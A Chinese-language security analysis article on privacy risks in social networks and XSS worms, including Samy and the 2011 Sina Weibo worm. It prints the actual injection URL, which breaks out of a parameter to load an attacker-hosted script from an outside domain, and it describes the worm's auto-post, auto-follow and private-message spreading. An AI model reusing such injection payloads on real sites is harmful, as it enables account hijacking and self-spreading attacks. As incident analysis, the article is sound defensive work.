國內SNS網站個人隱私安全隱患不容忽視
6月28日晚,新浪微博遭遇到XSS蠕蟲攻擊侵襲,在不到一個小時的時間,超過3萬微博用戶受到該XSS蠕蟲的攻擊。此事件給嚴重依賴社交網絡的網友們敲響了警鐘。在此之前,國內多家著名的SNS網站和大型博客網站都曾遭遇過類似的攻擊事件,只不過沒有形成如此大規(guī)模傳播。雖然此次XSS蠕蟲攻擊事件中,惡意黑客攻擊者并沒有在惡意腳本中植入掛馬代碼或其他竊取用戶賬號密碼信息的腳本,但是這至少說明,病毒木馬等黑色產業(yè)已經將眼光投放到這個尚存漏洞的領域。
如何能夠更好地保護用戶隱私信息?安全人員首先要做的就是深入了解SNS網站面臨的安全問題。通過分析國內主流SNS網站,研究人員發(fā)現(xiàn)出其兩大主要安全問題:用戶隱私保護不力和XSS蠕蟲病毒攻擊。在此基礎上,我們還可以將問題進一步細化,如與隱私相關的信息泄露、釣魚攻擊、網絡詐騙等,與XSS相關的惡意代碼傳播、大范圍用戶信息竊取及基于XSS的DDoS攻擊等。下面我們結合實際情況對SNS網站面臨的安全問題進行詳細的描述和分析。
唾手可得的隱私信息
用戶隱私問題一直是互聯(lián)網上一個比較敏感的話題,隨著SNS網站的出現(xiàn)及快速發(fā)展,用戶隱私問題也變得異常嚴重。從目前我國SNS網站的服務人群來看,主要的用戶為學生、白領及其他一些特定的人群,且此類網站大多數(shù)為強制實名制,因此使得此類用戶的隱私信息更容易暴露在其他用戶面前,如果惡意黑客利用此類信息那么后果將難以想像。我們通過人人網的搜索功能,獲取某一賬戶的個人信息如圖1所示。
圖1:通過人人網搜索到的某用戶隱私信息
從圖1可以發(fā)現(xiàn)該用戶的個人信息對外都是可見的,那么如果黑客結合搜索引擎進行“人肉搜索”的話,那么獲取到的將會是更多可被黑客惡意利用的敏感信息,利用用戶的個人信息或其他隱私信息,黑客便可以進行釣魚攻擊或者欺詐等。
跳板式獲取的隱私信息
雖然某些SNS網站對用戶信息相關數(shù)據有完備的隱私控制策略,但是這種策略并非不能夠被黑客加以利用。在人人網上對用戶的信息查看時,我們發(fā)現(xiàn),如果用戶設置了相應的隱私控制策略以后,一般用戶是無法訪問該用戶的個人主頁信息的,如圖2所示。
圖2:設置隱私相關策略后仍有可被黑客利用的信息
但是,從頁面中我們仍然可以看到可以被黑客利用的內容,那就是該用戶的好友信息,如圖2中紅框選中的部分。結合SNS網站所具有的極強交互性的特點,可以通過該交互尋找到不同用戶之間的關系,即所謂的社交網絡虛擬人際關系網,可以用圖3所示。
圖3:社交網絡虛擬人際關系網
圖中假設黑色頭像所代表的是黑客希望獲取相關隱私信息的用戶,盡管黑客無法直接通過目標任務的賬號信息獲取到數(shù)據內容,但是通過SNS網站的交互性,黑客可以通過其好友賬號進行間接滲透攻擊。當黑客獲取到其好友賬號信息以后,不但可以正常瀏覽目標用戶的個人主頁和個人隱私信息,還可以通過好友用戶通過發(fā)私信或郵件的方式進行釣魚攻擊。
危機四伏的外掛程序
SNS網站泄露個人隱私信息不僅僅只是以上提到的兩方面,很多第三方應用也會有不少安全問題。例如,網上很多針對SNS網站“刷人氣”、“刷等級”外掛軟件倍受用戶青睞,而這些程序通常也會有這樣那樣的問題。
圖4:人人網應用程序列表
通過瑞星安全人員的分析發(fā)現(xiàn),網絡上有很大一部分外掛或輔助軟件為“偽外掛”程序,即該類軟件根本無法實現(xiàn)“刷人氣”、“刷等級”等作用,而其主要功能是盜取用戶的賬號密碼信息等內容。由于該類軟件對外宣稱實現(xiàn)的是“刷人氣”、“刷等級”的作用,所以“名正言順”地要求用戶在軟件運行時輸入SNS網站的個人賬戶及密碼信息,而軟件在獲取賬號密碼信息以后除了向SNS網站發(fā)送該信息外,還會向黑客的服務器發(fā)送用戶的賬號和密碼信息,如圖5所示。
圖5:外掛輔助軟件盜取用戶賬號和密碼信息
在圖5所示的案例中用戶的賬號和密碼信息被提交到了黑客的網站服務器w#w.clickaider.net,黑客在接收到用戶賬號和密碼信息以后,就可以使用正確的賬號和密碼信息登錄,由此而帶來的危害是無法想像的。
新浪微博遭受XSS跨站腳本攻擊實例分析
相對于用戶隱私泄露,SNS網絡的XSS蠕蟲的危害更大。目前,Ajax語言在大型交互網站上廣泛應用,然而在Ajax快速流行的同時,也帶來了不安全的隱患。黑客可以使用Ajax語言編寫蠕蟲病毒,實現(xiàn)病毒的幾何數(shù)級傳播,其感染速度和攻擊效果非常可怕。
XSS漏洞攻擊過程分析
那么XSS漏洞又是怎么實現(xiàn)將代碼植入到Web應用程序中的呢?跨站腳本攻擊(Cross Site Scripting)是指攻擊者利用網站程序對用戶輸入過濾不足,輸入可以顯示在頁面上對其他用戶造成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
XSS通常可以分為兩大類:一類是存儲型XSS,主要出現(xiàn)在讓用戶輸入數(shù)據,供其他瀏覽此頁的用戶進行查看的地方,包括留言、評論、博客日志和各類表單等。應用程序從數(shù)據庫中查詢數(shù)據,在頁面中顯示出來,攻擊者在相關頁面輸入惡意的腳本數(shù)據后,用戶瀏覽此類頁面時就可能受到攻擊。這個流程簡單可以描述為——惡意用戶的Html輸入web程序進入數(shù)據庫web程序用戶瀏覽器。另一類是反射型XSS,主要是將腳本加入URL地址的程序參數(shù)里,參數(shù)進入程序后在頁面直接輸出腳本內容,用戶點擊類似的惡意鏈接就可能受到攻擊。
由此可見,如果Web應用程序對用戶輸入的數(shù)據信息沒有做嚴格過濾的話,就會導致被寫入的惡意代碼被解析并執(zhí)行,結合Ajax的異步提交功能,自然也就實現(xiàn)了在植入惡意代碼的同時,又可以將惡意代碼進行對外發(fā)送的功能,即實現(xiàn)了代碼的感染,同時也實現(xiàn)了代碼的傳播,也就形成了XSS蠕蟲。出現(xiàn)最早也是最著名的XSS蠕蟲病毒是MySpace的Samy XSS蠕蟲了。
Samy蠕蟲實例回放
MySpace支持交友功能,好友信息會顯示在個人空間的好友列表中,但是,如果想通過MySpace添加其他人為自己的好友,需要得到對方的驗證通過才可以。2005年10月,一個名叫Samy的人在網上發(fā)布了一片文章,在文章中他說找到了一種方法可以借助MySpace網站自身存在的漏洞實現(xiàn)自動化添加自己到別人的空間中,并且經過測試,在3個小時內添加了2429個好友,同時收到了6373個來自MySpace上其他人添加自己為好友的請求,由此而導致了大量的惡意數(shù)據和垃圾信息在MySpace上傳播,對網站和用戶都造成了巨大損害。
最近幾年,XSS蠕蟲在大型SNS網絡上爆發(fā)也很常見,自2005年MySpace Samy XSS蠕蟲爆發(fā)以后,2009年,著名的社交網絡Twitter在這一年的時間里連續(xù)6次爆發(fā)多規(guī)模傳播的XSS蠕蟲攻擊病毒。在最近幾年,國內大型SNS網站及其他一些博客網站也有XSS蠕蟲爆發(fā)的記錄,如人人網的多次XSS蠕蟲攻擊事件、搜狐博客網站的XSS蠕蟲攻擊事件、百度空間的XSS蠕蟲攻擊事件及最近剛剛爆發(fā)的新浪微博XSS蠕蟲大規(guī)模攻擊事件等。在2007年10月,人人網爆發(fā)XSS蠕蟲攻擊事件中,攻擊者沒有植入任何惡意代碼,所做的事情僅僅是測試一下蠕蟲的傳播效果,其中流量效果圖如圖6所示。
圖6:人人網XSS蠕蟲爆發(fā)期惡意代碼所在網站流量監(jiān)測狀態(tài)圖
從圖6中我們可以看到惡意攻擊者用于測試的網站流量在幾天時間里大增,這些天應該是蠕蟲感染的時間。日訪問人數(shù)從0猛增到每天500人/百萬人。也就是說,攻擊者測試的地址每天會被訪問5億次,考慮到傳播過程中會存在一個人訪問多次的現(xiàn)象,所以粗略估計至少有幾百萬人受到該XSS蠕蟲的攻擊。值得慶幸的是,本次XSS蠕蟲攻擊事件攻擊者僅僅是為了測試蠕蟲的傳播效果,如果將惡意掛馬行為或者是釣魚攻擊行為與XSS蠕蟲攻擊相結合的話,由此造成的損失將是巨大的。
新浪微博遭受XSS攻擊實例分析
通過以上對SNS網站面臨的主要問題的了解可以發(fā)現(xiàn),一旦SNS網站存在安全漏洞,那么惡意黑客攻擊者通過安全漏洞可以做的事情是相當豐富的,諸如竊取賬號密碼信息、傳播惡意代碼、盜取用戶隱私等,那么真實的此類攻擊事件又是如何發(fā)生和進行的呢?下面我們結合新浪微博的XSS蠕蟲攻擊事件,對黑客惡意利用漏洞至XSS蠕蟲大范圍擴散的過程進行詳細分析和描述,并對該XSS蠕蟲的惡意腳本文件進行一下簡要的分析。
首先,黑客通過對新浪微博的分析測試發(fā)現(xiàn)新浪名人堂部分由于代碼過濾不嚴,導致XSS漏洞的存在,并可以通過構造腳本的方式植入惡意代碼。通過分析發(fā)現(xiàn),在新浪名人堂部分中,當提交http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update時,新浪會對該字符串進行處理,變成類似http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update,而由于應用程序沒有對參數(shù)g做充足的過濾,且將參數(shù)值直接顯示在頁面中,相當于 weibo.com 在頁面中嵌入了一個來自于 2kt.cn的JS腳本。該JS腳本是黑客可以控制的文件,使得黑客可以構造任意JS腳本嵌入到weibo.com的頁面中,且通過Ajax技術完全實現(xiàn)異步提交數(shù)據的功能,進而黑客通過構造特定的JS代碼實現(xiàn)了受此XSS蠕蟲攻擊的客戶自動發(fā)微博、添加關注和發(fā)私信等操作。
然后,黑客為了使該XSS蠕蟲代碼可以大范圍的感染傳播,會通過發(fā)私信或發(fā)微博的方式誘惑用戶去點擊存在跨站代碼的鏈接,尤其是針對V標認證的用戶,因為此類用戶擁有大量的關注者,所以如果此類用戶中毒,必然可以實現(xiàn)蠕蟲的大范圍、快速的傳播。
圖7:大量用戶中毒后發(fā)送的含毒微博信息
最后,當大量的加V認證賬戶和其他普通用戶中毒后,這些用戶就會通過發(fā)微博和發(fā)私信的方式將該XSS蠕蟲向其他用戶進行傳播,進而導致了該XSS蠕蟲的大范圍、快速的傳播與感染。
圖8:含毒微博信息的主要內容和XSS蠕蟲鏈接
新浪微博攻擊事件發(fā)生之后,我們第一時間發(fā)現(xiàn)了2tk.cn網站上面的惡意腳本,文件名為t.js,鏈接地址為 www.2kt.cn/images/t.js,經過提取保存,腳本代碼如下:
圖9:新浪微博XSS蠕蟲病毒代碼
通過分析發(fā)現(xiàn),雖然該XSS蠕蟲在傳播過程中沒有插入惡意的掛馬代碼,但是卻嚴重影響了用戶對正常數(shù)據的瀏覽與訪問,且該XSS蠕蟲會在用戶不知情的情況下就執(zhí)行相應的惡意操作,因此認為該腳本屬于惡意腳本范疇。通過進一步詳細分析發(fā)現(xiàn)該XSS蠕蟲執(zhí)行以下三個操作:
操作1:發(fā)表一篇微博信息,代碼如圖10所示。
圖10:XSS蠕蟲代碼中自動發(fā)布微博功能代碼
從代碼中我們可以看到,執(zhí)行的第一個操作即是在受到XSS蠕蟲攻擊的用戶自己的頁面上發(fā)布一條微博,微博的題目為隨機題目,且這些題目均為目前網絡環(huán)境中比較熱門或有爭議的題目,如“郭美美事件的一些未注意到的細節(jié)”、“建黨大業(yè)中穿幫的地方”、“讓女人心動的100句詩歌”等。如此熱門的題目也必然會引來更多的XSS蠕蟲攻擊受害者。
操作2:就是關注惡意攻擊者的微博賬號,代碼如圖11所示。
圖11:XSS蠕蟲代碼中自動關注惡意攻擊者微博賬號的功能代碼
從代碼中我們可以看到,第二個操作就是關注加uid為2201270010的賬戶,該賬戶就為此次攻擊事件的操縱者,即名稱為hellosamy的用戶。
操作3:通過私信的方式發(fā)送給受攻擊賬戶的好友,將這些帶毒鏈接進行傳播,代碼如圖12所示。
圖12:XSS蠕蟲代碼中自動向好友發(fā)送含毒私信功能代碼
從代碼中我們可以了解到惡意攻擊者除了通過發(fā)布微博信息傳播惡意鏈接以外,還會通過私信的方式將帶有惡意鏈接的信息發(fā)送到好友賬號中,且題目仍然為上面提到的熱門話題,進而實現(xiàn)惡意鏈接的快速傳播和感染。
SNS網站的用戶和流量是巨大的,同時也容易招致嚴重的安全問題和隱患。如何能夠保護用戶的隱私信息不被竊取,保護用戶不受到惡意代碼的攻擊,這不僅僅是網站管理員必須關心的問題,同時也是我們廣大SNS用戶需要關注的問題,這些都需要管理員和用戶共同去維護,保護SNS在網絡環(huán)境中的這一片凈土。